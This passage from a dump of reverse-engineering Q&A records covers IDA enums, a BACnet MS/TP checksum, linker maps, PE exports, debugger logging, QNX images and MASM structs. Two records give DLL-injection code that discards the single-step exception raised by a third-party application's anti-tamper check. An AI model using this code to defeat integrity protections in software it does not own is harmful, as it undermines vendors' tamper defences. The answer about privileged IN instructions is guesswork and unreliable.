         00000000        10000 -\n00010000 00010000        10000 c m rw--  rw-- \n...\nFF5F0000 FF5F0000         1000 c i rwxc  r---  notepad.exe\nFF5F0000 FF5F1000         B000 c i rwxc  r-x- \nFF5F0000 FF5FC000         4000 c i rwxc  r--- \nFF5F0000 FF600000         2000 c i rwxc  rw-- \nFF5F0000 FF602000         1000 c i rwxc  rw-c \nFF5F0000 FF603000        22000 c i rwxc  r--- \n         FF625000     FFFFFFFF -\noverflow -> aborting\n
\n\n

Dito for a 64-bit process:

\n\n
              0000000000000        10000 -\n0000000010000 0000000010000        10000 c m rw--  rw-- \n...\n00000FF5F0000 00000FF5F0000         1000 c i rwxc  r---  notepad.exe\n00000FF5F0000 00000FF5F1000         B000 c i rwxc  r-x- \n00000FF5F0000 00000FF5FC000         4000 c i rwxc  r--- \n00000FF5F0000 00000FF600000         2000 c i rwxc  rw-- \n00000FF5F0000 00000FF602000         1000 c i rwxc  rw-c \n00000FF5F0000 00000FF603000        22000 c i rwxc  r--- \n              00000FF625000  7FDFB2CB000 -\n007FEFA8F0000 007FEFA8F0000         1000 c i rwxc  r---  winspool.drv\n...\n007FFFFFE0000 007FFFFFE0000        10000 r   r---  !--- \n
\n" }, { "Id": "8300", "CreationDate": "2015-02-20T13:18:49.407", "Body": "

Is there a way to modify the IDA decompiled source to reflect \"OR\"ed values of two or more enums?

\n\n

For instance, I have the following enums,

\n\n
HTTP_QUERY_CONNECTION has the value 23 and \nHTTP_QUERY_FLAG_REQUEST_HEADERS has the value 0x80000000\n
\n\n

I would like to change the code which has the value 0x80000023 into

\n\n
HTTP_QUERY_CONNECTION | HTTP_QUERY_FLAG_REQUEST_HEADERS\n
\n\n

Is that modification possible in IDA?

\n", "Title": "Coalesce Enums in IDA?", "Tags": "|ida|decompilation|", "Answer": "

Yes, it is possible. The enum must be set to the 'bitfield' kind, and the bit masks must be set appropriately. Position the cursor on the enum name (in the Enums view) and hit Ctrl-N; in the lower left corner of the dialogue that appears there's a check box named \"Bitfield\".

\n\n

If all values are independent then the bitmask for each value is the value itself; if there are sub fields that contain enumerated values then those must have the same mask. I don't know the exact details for HttpQueryInfo() so I'm using a mask of 0xFFFF for the enumerated part and assume that the upper 16 bits are independent flags. What you need is something like this:

\n\n
HTTP_QUERY_FLAG_REQUEST_HEADERS value 0x80000000 mask 0x80000000\n\nHTTP_QUERY_CONTENT_TYPE         value          1 mask 0x0000FFFF\n...\nHTTP_QUERY_CONNECTION           value         23 mask 0x0000FFFF\nHTTP_QUERY_ACCEPT               value         24 mask 0x0000FFFF\n...\n
\n\n

However, it can be extremely difficult to modify an existing enum. You can't switch the enum to 'bitfield' if there are values that need masking ('blah is hindering' or some such rot), but if the enum isn't set to 'bitfield' then IDA doesn't let you set the masks for the enum members. Best to build a new enum from scratch.

\n" }, { "Id": "8303", "CreationDate": "2015-02-20T21:45:49.160", "Body": "

I am trying to reverse engineer a two wire RS-485 standard serial bus interface to talk to a Watlow EZ-Zone PM of which I have not been able to find any documentation of the protocol. I have managed to figure out most of the hex commands except for the \"check bytes\" by sniffing the serial communications from the Labview driver (which doesn't work for my particular application).

\n\n

I am having trouble figuring out the 3 check bytes. Any help is appreciated.

\n\n

Example hex command:

\n\n
                                       Instance\n        Zone                 Parameter  |\n         ||                      |---| ||\n55 FF 05 10 00 00 06 E8 01 03 01 04 01 01 E3 99\n                     ^^                   ^^ ^^\n                  check byte           check bytes\n
\n\n

The first check byte only changes with the bytes before it:

\n\n
55 FF 05 10 00 00 06 E8 01 03 01 04 01 01 E3 99\n55 FF 05 11 00 00 06 61 01 03 01 04 01 01 E3 99\n55 FF 05 12 00 00 06 F9 01 03 01 04 01 01 E3 99\n55 FF 05 13 00 00 06 70 01 03 01 04 01 01 E3 99\n55 FF 05 14 00 00 06 CA 01 03 01 04 01 01 E3 99\n
\n\n

The second two bytes only change with the bytes after the first check byte:

\n\n
55 FF 05 10 00 00 06 E8 01 03 01 04 01 01 E3 99\n55 FF 05 10 00 00 06 E8 01 03 01 04 02 01 8B B3\n55 FF 05 10 00 00 06 E8 01 03 01 04 03 01 53 AA\n55 FF 05 10 00 00 06 E8 01 03 01 04 04 01 5B E7\n55 FF 05 10 00 00 06 E8 01 03 01 04 05 01 83 FE\n55 FF 05 10 00 00 06 E8 01 03 01 05 05 01 5F A4\n55 FF 05 10 00 00 06 E8 01 03 01 06 05 01 3B 4B\n55 FF 05 10 00 00 06 E8 01 03 01 07 05 01 E7 11\n55 FF 05 10 00 00 06 E8 01 03 01 08 05 01 20 5B\n55 FF 05 10 00 00 06 E8 01 03 01 09 05 01 FC 01\n55 FF 05 10 00 00 06 E8 01 03 01 0A 05 01 98 EE\n
\n\n

I did find reference to a CRC checksum in the Watlow Modbus documentation. However I have no idea what the polynomial is. Any ideas?

\n", "Title": "RS-485 Checksum Reverse Engineering (Watlow EZ-Zone PM)", "Tags": "|hardware|serial-communication|", "Answer": "

I downloaded the EZ-ZONE Configurator and reverse engineered it to see how it works.

\n\n

The serial data you're seeing is actually the BACnet MS/TP (master-slave/token-passing) protocol. You can find the Wireshark protocl decoder for it here. However, to save you the time, I'll help you get to the meat of calculating those check bytes.

\n\n

In BACnet parlance, 55 FF is called the \"preamble\", the first check byte is called the \"Header CRC\", the last two check bytes are called the \"Data CRC\", etc. For simplification though, let's call b[] your byte array: b[0] = 55, b[1] = FF, etc.

\n\n

The first check byte (a.k.a. \"Header CRC\") (b[7]) is calculated using the BACnet 8-bit CRC as follows.

\n\n

We first define our CRC table:

\n\n
BYTE crc[256] =\n{\n    0x00, 0xfe, 0xff, 0x01, 0xfd, 0x03, 0x02, 0xfc,\n    0xf9, 0x07, 0x06, 0xf8, 0x04, 0xfa, 0xfb, 0x05,\n    0xf1, 0x0f, 0x0e, 0xf0, 0x0c, 0xf2, 0xf3, 0x0d,\n    0x08, 0xf6, 0xf7, 0x09, 0xf5, 0x0b, 0x0a, 0xf4,\n    0xe1, 0x1f, 0x1e, 0xe0, 0x1c, 0xe2, 0xe3, 0x1d,\n    0x18, 0xe6, 0xe7, 0x19, 0xe5, 0x1b, 0x1a, 0xe4,\n    0x10, 0xee, 0xef, 0x11, 0xed, 0x13, 0x12, 0xec,\n    0xe9, 0x17, 0x16, 0xe8, 0x14, 0xea, 0xeb, 0x15,\n    0xc1, 0x3f, 0x3e, 0xc0, 0x3c, 0xc2, 0xc3, 0x3d,\n    0x38, 0xc6, 0xc7, 0x39, 0xc5, 0x3b, 0x3a, 0xc4,\n    0x30, 0xce, 0xcf, 0x31, 0xcd, 0x33, 0x32, 0xcc,\n    0xc9, 0x37, 0x36, 0xc8, 0x34, 0xca, 0xcb, 0x35,\n    0x20, 0xde, 0xdf, 0x21, 0xdd, 0x23, 0x22, 0xdc,\n    0xd9, 0x27, 0x26, 0xd8, 0x24, 0xda, 0xdb, 0x25,\n    0xd1, 0x2f, 0x2e, 0xd0, 0x2c, 0xd2, 0xd3, 0x2d,\n    0x28, 0xd6, 0xd7, 0x29, 0xd5, 0x2b, 0x2a, 0xd4,\n    0x81, 0x7f, 0x7e, 0x80, 0x7c, 0x82, 0x83, 0x7d,\n    0x78, 0x86, 0x87, 0x79, 0x85, 0x7b, 0x7a, 0x84,\n    0x70, 0x8e, 0x8f, 0x71, 0x8d, 0x73, 0x72, 0x8c,\n    0x89, 0x77, 0x76, 0x88, 0x74, 0x8a, 0x8b, 0x75,\n    0x60, 0x9e, 0x9f, 0x61, 0x9d, 0x63, 0x62, 0x9c,\n    0x99, 0x67, 0x66, 0x98, 0x64, 0x9a, 0x9b, 0x65,\n    0x91, 0x6f, 0x6e, 0x90, 0x6c, 0x92, 0x93, 0x6d,\n    0x68, 0x96, 0x97, 0x69, 0x95, 0x6b, 0x6a, 0x94,\n    0x40, 0xbe, 0xbf, 0x41, 0xbd, 0x43, 0x42, 0xbc,\n    0xb9, 0x47, 0x46, 0xb8, 0x44, 0xba, 0xbb, 0x45,\n    0xb1, 0x4f, 0x4e, 0xb0, 0x4c, 0xb2, 0xb3, 0x4d,\n    0x48, 0xb6, 0xb7, 0x49, 0xb5, 0x4b, 0x4a, 0xb4,\n    0xa1, 0x5f, 0x5e, 0xa0, 0x5c, 0xa2, 0xa3, 0x5d,\n    0x58, 0xa6, 0xa7, 0x59, 0xa5, 0x5b, 0x5a, 0xa4,\n    0x50, 0xae, 0xaf, 0x51, 0xad, 0x53, 0x52, 0xac,\n    0xa9, 0x57, 0x56, 0xa8, 0x54, 0xaa, 0xab, 0x55\n};\n
\n\n

And next we can calculate b[7]:

\n\n
b[7] = ~crc[b[6] ^ crc[b[5] ^ crc[b[4] ^ crc[b[3] ^ crc[~b[2]]]]]]\n
\n\n

To calculate the value of the last two check bytes (\"Data CRC\"):

\n\n

Perform a CRC-16 of the 6 bytes between the first check byte and the last two check bytes (in your first example, this would be the bytes 01 03 01 04 01 01), with 0xFFFF (-1) as the initial value for the CRC-16, and 0x8408 as the polynomial. Then bit-flip (a.k.a. \"not\", a.k.a. \"invert\") the result and read it in little-endian.

\n" }, { "Id": "8306", "CreationDate": "2015-02-21T01:53:05.350", "Body": "

The test is on 32-bit Linux, x86. With gcc 4.6.3 and GNU ld 2.22.

\n\n

So I am trying to get the information of \"how many symbols are resolved by linker\" during link time? And how can I list the information of all the resolved symbols? say, the symbol name, memory address.

\n\n

I am thinking I should manipulate the linker to do so, but I have no idea how to do it. I have some experiences to fed linker with a link-script, but I didn't find anything related to resolved symbol information in the link-scripts..

\n\n

Could anyone give me some help? I really appreciate that! Thank you!

\n", "Title": "How to get the information of \"how many and which symbols are resolved by linker\"?", "Tags": "|c|elf|gcc|", "Answer": "

Information about symbols resolved at link time, including the symbol name and memory address, can be acquired by by executing ld with the -M option plus the name of the object file to be linked:

\n\n
$ ld -M <OBJECT FILE>\n
\n\n

This will result in a link map being printed to STDOUT. Of course, this output can also be redirected to a file:

\n\n
$ ld -M <OBJECT FILE>  >  <OUTPUT FILE>\n
\n\n

The following description of the -M option is given in the manual page for ld(1) as well as in section 2.1 \"Command Line Options\" in the sourceware.org documentation of ld:

\n\n
\n

-M

\n \n

--print-map

\n \n

Print a link map to the standard output. A link map provides information about the link, including the following:

\n \n \n \n

will produce the following output in the link map if the -M option is used:

\n\n
                     0x00000001                foo = 0x1\n                     [0x0000000c]                foo = (foo * 0x4)\n                     [0x0000000c]                foo = (foo + 0x8)\n
\n \n

See Expressions for more information about expressions in linker scripts.

\n
\n\n

Here is an example link map snippet for an i386 ELF32 object file:

\n\n
<<= snip =>>\n\n.plt.got\n *(.plt.got)\n\n.text           0x0000000008048074        0xa\n *(.text.unlikely .text.*_unlikely .text.unlikely.*)\n *(.text.exit .text.exit.*)\n *(.text.startup .text.startup.*)\n *(.text.hot .text.hot.*)\n *(.text .stub .text.* .gnu.linkonce.t.*)\n .text          0x0000000008048074        0xa test.o\n                0x0000000008048074                main\n *(.gnu.warning)\n\n.fini\n *(SORT(.fini))\n                [!provide]                        PROVIDE (__etext, .)\n                [!provide]                        PROVIDE (_etext, .)\n                [!provide]                        PROVIDE (etext, .)    \n.rodata\n *(.rodata .rodata.* .gnu.linkonce.r.*)\n\n.rodata1\n *(.rodata1)\n\n.eh_frame_hdr\n *(.eh_frame_hdr)\n *(.eh_frame_entry .eh_frame_entry.*)\n\n.eh_frame       0x0000000008048080       0x38\n *(.eh_frame)\n .eh_frame      0x0000000008048080       0x38 test.o\n *(.eh_frame.*)\n\n<<= snip =>>\n
\n\n

If this is insufficient for your purposes and would like to manipulate the linker with a custom script, section \"3: Linker Scripts\" at sourceware.org may be helpful. Some documentation of the Link Editor Command Language can also be found on page 524 in the AT&T UNIX\u2122 PC Model 7300 Unix System V Programmers Guide.

\n\n

More information can also be found in the ld.texinfo file which is part of the source for ld. There is also a document called The GNU Linker, which discusses linker scripts in 40 pages or so.

\n" }, { "Id": "8314", "CreationDate": "2015-02-22T17:11:48.393", "Body": "

I'm reversing an application and I know for a fact it employs CRC checks, so if I modify the code, for instance hooking something, it'll be detected. The application uses a DLL which I replaced with my custom one and I'm trying to get around the CRC checks. The symptoms are, however, puzzling me. This is what happens if I modify the code and it gets detected:

\n\n

\"enter

\n\n

However, it seems that the code at this address is just the start of some unrelated function:\n\"enter

\n\n


\nI find that a bit puzzling; I expected something like\nif (detected) RaiseException(EXCEPTION_SINGLE_STEP), and instead it simply \"crashes\" at the start of this function.

\n\n\n", "Title": "Single step exception at the beginning of an unrelated function", "Tags": "|exception|crc|", "Answer": "

Okay, after a few more days I sort of have a solution.

\n\n

First off, I still have absolutely no idea what the code is doing to cause the exception - this is what the only call to the function looks like (and I've made sure this is how the code gets there - the return address is the same):

\n\n

\"enter

\n\n

No RaiseException, the trap flag is not set - I have no ideas what this means. Regardless, I was able to discard the exception in this way:

\n\n
LONG WINAPI VEH_Handler(struct _EXCEPTION_POINTERS *ExceptionInfo)\n{\n    printf(\"Got an exception %X at address %X\\n\", ExceptionInfo->ExceptionRecord->ExceptionCode, ExceptionInfo->ExceptionRecord->ExceptionAddress);\n\n    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)\n    {\n        printf(\"patching trap flag\\n\");\n\n        __asm PUSHF\n        __asm POP EAX\n        __asm AND EAX, 0xFEFF\n        __asm PUSH EAX\n        __asm POPF\n\n        return EXCEPTION_CONTINUE_EXECUTION;\n    }\n\n    return EXCEPTION_CONTINUE_SEARCH;\n}\n
\n\n

It works, which I find somewhat amusing.

\n" }, { "Id": "8320", "CreationDate": "2015-02-23T12:09:57.990", "Body": "

In a 3rd party application I'm modifying by means of DLL injection, there's a chunk of code that throws an EXCEPTION_SINGLE_STEP exception if it detects changes to the code. To bypass this countermeasure, I wish to catch that exception and discard it completely. However, Windows keeps rethrowing it and therefore my exception handler is stuck in an endless loop.

\n\n

My code currently:

\n\n
LONG WINAPI VEH_Handler(struct _EXCEPTION_POINTERS *ExceptionInfo)\n{\n    printf(\"Got an exception %X at address %X\\n\", ExceptionInfo->ExceptionRecord->ExceptionCode, ExceptionInfo->ExceptionRecord->ExceptionAddress);\n\n    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)\n    {\n        return EXCEPTION_CONTINUE_EXECUTION;\n    }\n\n    return EXCEPTION_CONTINUE_SEARCH;\n}\n\n//...\n\n//in DllMain\nAddVectoredExceptionHandler(1, VEH_Handler);\n
\n\n

Is there a way for me to force Windows to forget about the exception and continue execution?

\n", "Title": "Windows VEH - catch and discard a single step exception", "Tags": "|windows|exception|", "Answer": "

I assume this is a follow-up on this question.

\n\n

If the program you're injecting the DLL into is setting the processor's trap flag, then returning from the exception will restore the trap flag as well, which would explain why the trap exception is thrown again and windows will keep calling your exception handler.

\n\n

You might check the stack, find where the pushed flags from the exception are saved, and clear the trap flag before returning (*flagptr &= ~0x100).

\n\n

However, the fact that your application sets the trap flag in the first place might mean one of those two things:

\n\n\n\n

Both possibilities probably mean that just ignoring the traps won't help you much; you should find the code that sets the trap flag, check why it's doing this, and continue your analysis from there.

\n" }, { "Id": "8324", "CreationDate": "2015-02-23T19:45:34.207", "Body": "

I have breakpoint in function 'A', but 'A' can be called by functions 'B' and 'C'. When a breakpoint is hit, i'd like to know what called 'A' in the first place. Is there something like a function call stack?

\n\n

I have found 'debugger->tracing->stack trace' option, but when i press it after breakpoint is hit, it only shows this, which doesnt make any sense:\n\"enter

\n", "Title": "How to find which function called the one currently being executed in IDA?", "Tags": "|ida|", "Answer": "

Do a function tracing like this:

\n\n
    \n
  1. set a breakpoint at the main function and at your target function
    2. \n
  2. start debugging
    3. \n
  3. when the process is halted: Go to Debugger->Tracing->Function Tracing
    4. \n
  4. continue Process
    5. \n
  5. once the process is halted again, go to Debugger->Tracing->Tracing Window and check for the info you need.
    6. \n
\n\n

If this does not give you the needed info try basic block or instruction tracing. This will work even if there is a problem with identifying functions / the stack frame ...

\n\n

More info on the tracing feature can be found here: hex-rays tutorial on tracing

\n" }, { "Id": "8328", "CreationDate": "2015-02-24T12:30:19.393", "Body": "

I'm interested in formal verification of software at binary code level. Obviously, the first step would be to recover the actual assembly instructions from binaries.

\n\n

IDAPro can do a pretty good job at disassembly of x86, however, it is still possible that some data can be interpreted as code. Therefore an analysis based on in it is still unsound.

\n\n

Given that:

\n\n\n\n

Can the disassembly of ARM binaries be sound? In other words, can disassemblers recover the actual code precisely?

\n", "Title": "Soundness of ARM disassembly", "Tags": "|disassembly|arm|", "Answer": "

After some research I think that I can add some explanations from a theoretical perspective. Note that my discussion is restricted to stripped (no debug information) executables. We know that several kinds of data can be mixed with code in executables including padding bytes and switch jump address calculations.

\n\n

In order to separate date from code we need to precisely extract the bytes that belong to the code and by that we can assume that the rest of the bytes belong to data. The main challenge in precisely extracting code starting from a well-known entry point is indirect jumps i.e. control flow redirection to memory addresses that are computed at run-time. DarthZirka mentioned a few examples including switch tables, function pointers, and vtables in C++.

\n\n

An analysis that can precisely solve indirect jumps statically (without running the program) can also solve the halting problem which is known to be undecidable. This result has been established since late 70's when work on disassembly started to gain ground in Academia, I can refer to the following early paper for further details.

\n\n
\n

R.N. Horspool and N. Marovac. An approach to the problem\n of detranslation of computer programs. The Computer\n Journal, 23(3):223-229, 1979.

\n
\n\n

Based on that, the problem of precisely determining addresses of indirect jumps is also undecidable in general. Therefore, any approach to disassembly shall be based on heuristics like recognizing common compiler idioms and/or over(under) approximating the set of addresses reachable from an indirect jump. The later is usually done by static analysis based on the framework of abstract interpretation. Variable size instructions in X86 can make things harder (a more loose overapproximation) compared to ARM but the essential problem still exists.

\n" }, { "Id": "8350", "CreationDate": "2015-02-28T17:27:26.677", "Body": "

I was recently working with the Microsoft documentation about the PE and COFF specifications.

\n\n

Chapter 5 shows several more or less \"soft\" indicators and characteristics to recognize what kind of stuff a section contains. However, the section characteristics flag is often the same for several different sections, and as I have read, the section name can be of arbitrary value, so it is not a big help too.

\n\n

Actually, I can only definitely recognize code sections by looking if the IMAGE_SCN_MEM_EXECUTE flag is set, as other sections should not have this flag set.

\n\n

But how could I, for example, recognize the resource directory? It only has IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_READ set, and many other sections have the same flag.

\n\n

Do I have to evaluate with some made-up and typical section names (RSRC or .rsrc for this example)? It will mean that I may get tricked out by custom section names. Do I even have to try-and-error analyzation of section data to get a more definite result of what the section contains?

\n\n

Or is there a flag somewhere in the PE headers I skipped, helping me out in this case?

\n", "Title": "What is an indicator that a PE section definitely contains stuff of a specific type?", "Tags": "|windows|pe|file-format|executable|", "Answer": "
\n

I can only definitely recognize code sections by looking if the\n IMAGE_SCN_MEM_EXECUTE flag is set, as other sections should not have\n this flag set.

\n
\n\n

The presence of this flag doesn't \"definitely\" mean that that section contains code, and the absence of this flag doesn't \"definitely\" mean that that section doesn't contain code:

\n\n\n\n
\n

But how could I, for example, recognize the resource directory?

\n
\n\n

The only reliable way to find the resource directory is via the IMAGE_DIRECTORY_ENTRY_RESOURCE entry in the PE file's IMAGE_DATA_DIRECTORY.

\n" }, { "Id": "8351", "CreationDate": "2015-02-28T10:03:42.770", "Body": "

I am reversing a file which is not running properly in Vmware.The code from the AEP is as shown below :

\n\n
POP EDI     ; value of edi is 0x7C816D4F kernel32.7C816D4F\nPUSH EAX    ;value of eax is 0\nINC EBP     ;value of ebp was 0x12FFF0\nIN EAX,DX   ;value of DX is 0xEB94    \nAAS\nIN AL,0BF                      \nDEC ESP\n
\n\n

What I think is that a privileged instruction(IN) is called from user mode which is not allowed and therefore execution fails.\nIN is used for anti VM code but it requires specific values (VMXh port value in EAX etc) but in my case it is not being used.

\n\n

My question is ,is it some kind of anti debugging or is the file corrupt and will it run on a non VM machine(in my case XP).

\n\n

And lastly,if a packer uses the method I mentioned above ie calling IN from usermode for Anti-reversing how come the sample runs on a real machine(since in this case also the privileged instruction will be called in user mode).

\n", "Title": "Will this code run in real machine or is it some kind of Anti Reversing code?", "Tags": "|malware|debugging|x86|", "Answer": "

I think I got the answer from :\nhttps://stackoverflow.com/questions/89607/what-is-a-privileged-instruction

\n\n

Summary of the answers in that post :

\n\n

The cause is probably a corrupted stack or a messed up function pointer call ,this usually happens when using function pointers that point to invalid data. It can also happen if you have code that trashes your return stack or if you are using old compilers/libraries.

\n\n

The guy who programmed the exe may be using a local array and it is near the top of the function declaration. His bounds checking may have gone insane and overwritten the return address and it points to some instruction that only kernel is allowed to execute.

\n" }, { "Id": "8369", "CreationDate": "2015-03-03T15:28:23.607", "Body": "

I'm currently reversing a function which looks like the following

\n\n
.text:0040383F 8D 04 BF          lea     eax, [edi+edi*4]\n.text:00403842 6A 14             push    20\n.text:00403844 C1 E0 03          shl     eax, 3\n.text:00403847 99                cdq\n.text:00403848 59                pop     ecx\n.text:00403849 F7 F9             idiv    ecx\n.text:0040384B 03 45 08          add     eax, [ebp+arg_0]\n.text:0040384E 8A 84 30 C8 31 00+mov     al, [eax+esi+31C8h]\n.text:00403855 32 C3             xor     al, bl\n.text:00403857 88 84 3E 28 27 00+mov     [esi+edi+2728h], al\n.text:0040385E 47                inc     edi\n.text:0040385F 81 FF 07 0B 00 00 cmp     edi, 0B07h\n.text:00403865 75 D8             jnz     short loc_40\n
\n\n

Since I don't have any clue what's going there I wanted to Debug this part with OllyDbg. I want to understand what's inside al, bl and the result of xor al, bl for all \"0B07h\" steps the loop is running.

\n\n

I just saw that Immunity provides some sort of scripting functionality. Is it possible to achieve this with a simple python script in Immunity? Maybe there are other ways with OllyDbg?

\n\n

I just want something like:

\n\n
If EIP == \"403855\" then print al, bl\nElse go_ahead\n
\n", "Title": "How to efficiently debug Loops with OllyDbg/Immunity?", "Tags": "|ollydbg|debugging|immunity-debugger|xor|", "Answer": "

No scripting required.

\n\n

In OllyDbg's disassembly window, left-click on line .text:00403855 32 C3 xor al, bl to select the line, then right-click on the selected line and choose Breakpoint \u2192 Conditional log....

\n\n

In the breakpoint dialog box that opens up, use the following options:

\n\n

\"Conditional

\n\n

Press OK, run the program, and every time .text:00403855 32 C3 xor al, bl is executed, OllyDbg will print the values of al and bl to the log window.

\n" }, { "Id": "8371", "CreationDate": "2015-03-03T17:01:31.150", "Body": "

I've been playing around with recording packets being sent to and from applications on my pc.

\n\n

Logically any program that sends or receives packets must have the encryption scheme used. So I'd like to try and find this in the code of a test application.

\n\n

Can anyone advise on how to go about doing this? I unsure as to how to identify what lines of code are being called when, and even if I new this I can know exactly when the packets are created exactly. Any link to helpful software, tutorials etc. would be great!

\n\n

P.S. First time asking on this site, let me know if/how I can improve the question.

\n", "Title": "How to locate the code used for encryption", "Tags": "|decompilation|decryption|", "Answer": "

This question is a bit broad, since it's not asking about a specific program, or a specific network packet you found. A better question would probably be \"I have a program that sends network packets, but dumping the packets with wireshark doesn't produce anything readable. I assume the application is encrypting the packets, how can i investigate this\"?

\n\n

You say \"Logically any program that sends or receives packets must have the encryption scheme used\". This isn't true - your Web browser, FTP client, and many other programs send everything unencrypted. Unless you're using https in your browser, of course, and there's a lot of documentation about how that works.

\n\n

So, let's assume you have a program, dump the network packets, and assume they're encrypted. So you'd like to know if there's any encryption code in your application. This is what signsrch is for; it detects if your program contains any constants that are used in standard encryption schemes like AES.

\n\n

Next, you'll want a debugger like Ollydbg, or even IDA Pro, to further analyze the program. There are tons of tutorials out there that show how to use them. However, i won't recommend a specific one, since what is good for you depends very much on how much you know already - any recommendation would be very opinion-based, and we don't like opinion based answers on Stackexchange.

\n" }, { "Id": "8372", "CreationDate": "2015-03-03T18:06:06.727", "Body": "

I am currently investigating firmware of an embedded system (car navigation) and have identified the OS as QNX.

\n

The firmware has .ifs files which I was able to extract/unpack using QNX dumpifs tool and .img files. The .img files do not appear to be compressed, is there a file format or dump tool for QNX .img files?

\n

/edit: some extra information\nfile -sL file.img reports x86 boot sector\nMount attempt in Ubuntu mount -t qnx6 ./file.img -o loop/dev/loop1,blocksize=512 /media/qnx fails with wrong fs type, bad option, bad superblock on /dev/loop1

\n

dmesg reports qnx4: wrong fsid in superblock or qnx6: invalid mount operation

\n

cat /proc/filesystems reports both qnx4 and qnx6

\n", "Title": "Unpack QNX .img files", "Tags": "|qnx|", "Answer": "

Last time I worked with .img file it was image of qnx6 file system.\nI using linux with installed qnx6 drivers, so mount -t qnx6 works for me.

\n\n

In addition you can download QNX sample virtual machine from qnx.com/download/index.html ,run it, mount img using standard qnx command line tools and scp it outside.

\n" }, { "Id": "8379", "CreationDate": "2015-03-04T13:01:10.817", "Body": "

I don't understand one thing in the export data directory of PE files.

\n

The documentation says that there is a set count of exports (let's name it ExportCount, first row of following table) and another count of names/ordinals (name it NameCount, second row in following table). I read it like that the count of export names is the same as the ordinal indices count. At least that's what their documentation says:

\n

\"Microsoft

\n

I tried parsing a Win8.1.1 x64 Shell32.dll, and I get different results compared to Dependency Walker. I have 933 as ExportCount and 354 as NameCount. So there should be 933 exports in total, with only 354 having an ordinal and/or name. Don't ask me how you would import the remaining 579 exports, as that's what I don't understand.

\n

If I open Shell32 in Dependency Walker, it first lists NameCount exports with a name and ordinal, but then it shows the remaining amount of ExportCount - NameCount exports which surprisingly do have ordinals (starting at the blue line here):

\n

\"Dependency

\n

To me, this doesn't make any sense according to the documentation. I tried to read ExportCount ordinals instead of only NameCount ones in sequence, but only rubbish comes out.

\n

So my questions are:

\n\n", "Title": "Are there exports with neither ordinal nor name or am I not understanding the PE documentation?", "Tags": "|windows|pe|file-format|executable|", "Answer": "

This answer was originally added by me as an edit to my question, I have now separated it from there:

\n

Thanks to Guntrams accepted answer, I found out where my brain was faulty. This is how it really is:

\n\n

My C# code does it like this, for reference - the output is the same like the one in Dependency Walker:

\n
private void ReadExportTables(\n    PEFile peFile,\n    BinaryReader reader,\n    DataDirectoryHeader header)\n{\n    // Read export address table which contains RVAs to exported code or forwarder names.\n    ExportEntry[] exportEntries = new ExportEntry[EntryCount];\n    reader.BaseStream.Seek(peFile.GetFileOffset(CodeAddressTableRva), SeekOrigin.Begin);\n    for (int i = 0; i < exportEntries.Length; i++)\n    {\n        exportEntries[i].Ordinal = (ushort)(i + OrdinalStartNumber);\n        exportEntries[i].CodeOrForwarderRva = reader.ReadUInt32();\n    }\n\n    // Read ordinal table containing indices (with base) to named entries in export entry table.\n    reader.BaseStream.Seek(peFile.GetFileOffset(OrdinalTableRva), SeekOrigin.Begin);\n    uint[] ordinals = new uint[NameEntryCount];\n    for (int i = 0; i < ordinals.Length; i++)\n    {\n        // Get name for ordinal, which has the same index as the ordinal array element.\n        ordinals[i] = reader.ReadUInt16();\n    }\n\n    // Read the export name pointer table which contains pointers to names of exports.\n    reader.BaseStream.Seek(peFile.GetFileOffset(NameAddressTableRva), SeekOrigin.Begin);\n    for (int i = 0; i < ordinals.Length; i++)\n    {\n        exportEntries[ordinals[i]].Hint = i;\n        exportEntries[ordinals[i]].NameRva = reader.ReadUInt32();\n    }\n\n    // Read the names of the exports or forwarders.\n    for (int i = 0; i < exportEntries.Length; i++)\n    {\n        if (exportEntries[i].NameRva > 0)\n        {\n            reader.BaseStream.Seek(peFile.GetFileOffset(\n                exportEntries[i].NameRva),\n                SeekOrigin.Begin);\n            exportEntries[i].Name = reader.Read0AsciiString();\n        }\n        // Check if forwarder export (RVA points within export directory to forwarder name).\n        if (exportEntries[i].CodeOrForwarderRva >= header.Rva\n            && exportEntries[i].CodeOrForwarderRva < header.Rva + header.Size)\n        {\n            reader.BaseStream.Seek(\n                peFile.GetFileOffset(exportEntries[i].CodeOrForwarderRva),\n                SeekOrigin.Begin);\n            exportEntries[i].ForwarderName = reader.Read0AsciiString();\n        }\n    }\n}\n
\n

In case you wondered: There can still be completely empty exports, with a code address of 0, no name and thus not forwarded. Just sort these out when displaying your exports.

\n" }, { "Id": "8382", "CreationDate": "2015-03-04T19:03:09.403", "Body": "

I'm trying to create a demo program demonstrating struct(s) in MASM ,

\n\n

I've written a code like this :

\n\n
struct1 struct\nfirst db ?\nsecond dw ?\nstruct1 EndS\n\n.386\n.model flat,stdcall\noption casemap:none\n\ninclude \\masm32\\include\\windows.inc ; holds predifned structures\n\ninclude \\masm32\\include\\kernel32.inc \ninclude \\masm32\\include\\user32.inc\n\nincludelib \\masm32\\lib\\kernel32.lib\nincludelib \\masm32\\lib\\user32.lib\n\n.data\nMessageTitle  db \"The title\",0\nMessageText   db \"The first program which shows simple messagebox\",0\n\n\n.code\nstart:\n\nInitializedstructure struct1 <'A',1024>\n;invoke MessageBox, NULL, addr MessageText, addr MessageTitle, MB_OK\nmov eax, struct1.first \n;invoke ExitProcess, NULL\nend start\n
\n\n

but when I disassembled the program I found some kind of instructions that\n not sensible for initializing the structure of the program :

\n\n
.text:00401000 start:\n.text:00401000                 inc     ecx\n.text:00401001                 add     [eax+edi*4], al\n.text:00401001 ; ---------------------------------------------------------------------------\n.text:00401004                 dd 7Fh dup(0)\n.text:00401200                 dd 380h dup(?)\n.text:00401200 _text           ends\n
\n\n

Why MASM assembled the code like this ? I think I've made some mistake in the code,haven't I? I think there's no well-explained document about it ...

\n", "Title": "Initializing a struct in win32 assembly programming using MASM", "Tags": "|windows|disassemblers|struct|", "Answer": "

Masm uses 0 and 1 as the address constants is: you told it to do so because you told it to use the offset in the structure, NOT the memory location. And indeed, the field \"first\" sits at offset 0 and occupies a byte. This makes the offset for \"second\" equal to 1.\nYou probably wanted to access the instantiation of your structure, which you placed at the address called Initializedstructure. In this case, you would have to use

\n\n
mov eax, [Initializedstructure].First\n
\n\n

to access the field \"first\" of that Initializedstructure.\nAnd, by the way, should you try to access such structures using vector instructions (SSE, AVX), Masm frequently looses it altogether and you need to additionally specify the operand size, such as

\n\n
vmovdqu xmm0, xmmword ptr [Initializedstructure].Some128bitField\n
\n\n

Hope it helps.

